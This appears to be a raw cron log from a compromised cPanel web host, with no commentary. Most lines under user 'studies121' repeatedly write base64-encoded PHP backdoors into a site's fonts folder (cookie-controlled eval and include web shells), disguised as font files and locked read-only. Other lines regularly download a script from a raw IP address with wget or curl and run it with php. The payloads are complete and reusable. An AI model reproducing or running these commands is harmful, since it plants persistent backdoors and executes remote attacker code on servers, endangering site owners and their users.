Sep  1 19:42:01 ip-184-168-122-23 CROND[14561]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:42:01 ip-184-168-122-23 CROND[14563]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 19:42:01 ip-184-168-122-23 CROND[14562]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:43:01 ip-184-168-122-23 CROND[14645]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:43:01 ip-184-168-122-23 CROND[14648]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 19:43:01 ip-184-168-122-23 CROND[14647]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 19:43:01 ip-184-168-122-23 CROND[14650]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:44:01 ip-184-168-122-23 CROND[14729]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 19:44:01 ip-184-168-122-23 CROND[14733]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:44:01 ip-184-168-122-23 CROND[14734]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 19:44:01 ip-184-168-122-23 CROND[14731]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:44:01 ip-184-168-122-23 CROND[14732]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 19:45:02 ip-184-168-122-23 CROND[14830]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:45:02 ip-184-168-122-23 CROND[14829]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 19:45:02 ip-184-168-122-23 CROND[14834]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 19:45:02 ip-184-168-122-23 CROND[14831]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 19:45:02 ip-184-168-122-23 CROND[14832]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:45:02 ip-184-168-122-23 CROND[14833]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 19:46:01 ip-184-168-122-23 CROND[14928]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 19:46:01 ip-184-168-122-23 CROND[14929]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:46:01 ip-184-168-122-23 CROND[14930]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 19:46:01 ip-184-168-122-23 CROND[14932]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 19:46:01 ip-184-168-122-23 CROND[14936]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 19:46:01 ip-184-168-122-23 CROND[14937]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:46:01 ip-184-168-122-23 CROND[14934]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  1 19:47:01 ip-184-168-122-23 CROND[15105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 19:47:01 ip-184-168-122-23 CROND[15107]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:47:01 ip-184-168-122-23 CROND[15112]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 19:47:01 ip-184-168-122-23 CROND[15113]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:48:01 ip-184-168-122-23 CROND[15186]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 19:48:01 ip-184-168-122-23 CROND[15187]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 19:48:01 ip-184-168-122-23 CROND[15191]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 19:48:01 ip-184-168-122-23 CROND[15190]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:48:01 ip-184-168-122-23 CROND[15192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:49:01 ip-184-168-122-23 CROND[15288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 19:49:01 ip-184-168-122-23 CROND[15289]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  1 19:49:01 ip-184-168-122-23 CROND[15290]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:49:01 ip-184-168-122-23 CROND[15292]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:49:01 ip-184-168-122-23 CROND[15293]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 19:50:01 ip-184-168-122-23 CROND[15400]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 19:50:01 ip-184-168-122-23 CROND[15407]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:50:01 ip-184-168-122-23 CROND[15406]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 19:50:01 ip-184-168-122-23 CROND[15404]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 19:50:01 ip-184-168-122-23 CROND[15402]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:50:01 ip-184-168-122-23 CROND[15405]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 19:50:01 ip-184-168-122-23 CROND[15408]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 19:50:01 ip-184-168-122-23 CROND[15409]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 19:50:01 ip-184-168-122-23 CROND[15403]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 19:51:01 ip-184-168-122-23 CROND[15508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:51:01 ip-184-168-122-23 CROND[15509]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 19:51:01 ip-184-168-122-23 CROND[15510]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 19:51:01 ip-184-168-122-23 CROND[15511]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:52:01 ip-184-168-122-23 CROND[15611]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 19:52:01 ip-184-168-122-23 CROND[15613]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:52:01 ip-184-168-122-23 CROND[15615]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 19:52:01 ip-184-168-122-23 CROND[15614]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 19:52:01 ip-184-168-122-23 CROND[15616]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:53:01 ip-184-168-122-23 CROND[15912]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 19:53:01 ip-184-168-122-23 CROND[15915]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 19:53:01 ip-184-168-122-23 CROND[15914]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 19:53:01 ip-184-168-122-23 CROND[15916]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 19:54:01 ip-184-168-122-23 CROND[16067]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 19:54:01 ip-184-168-122-23 CROND[16069]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
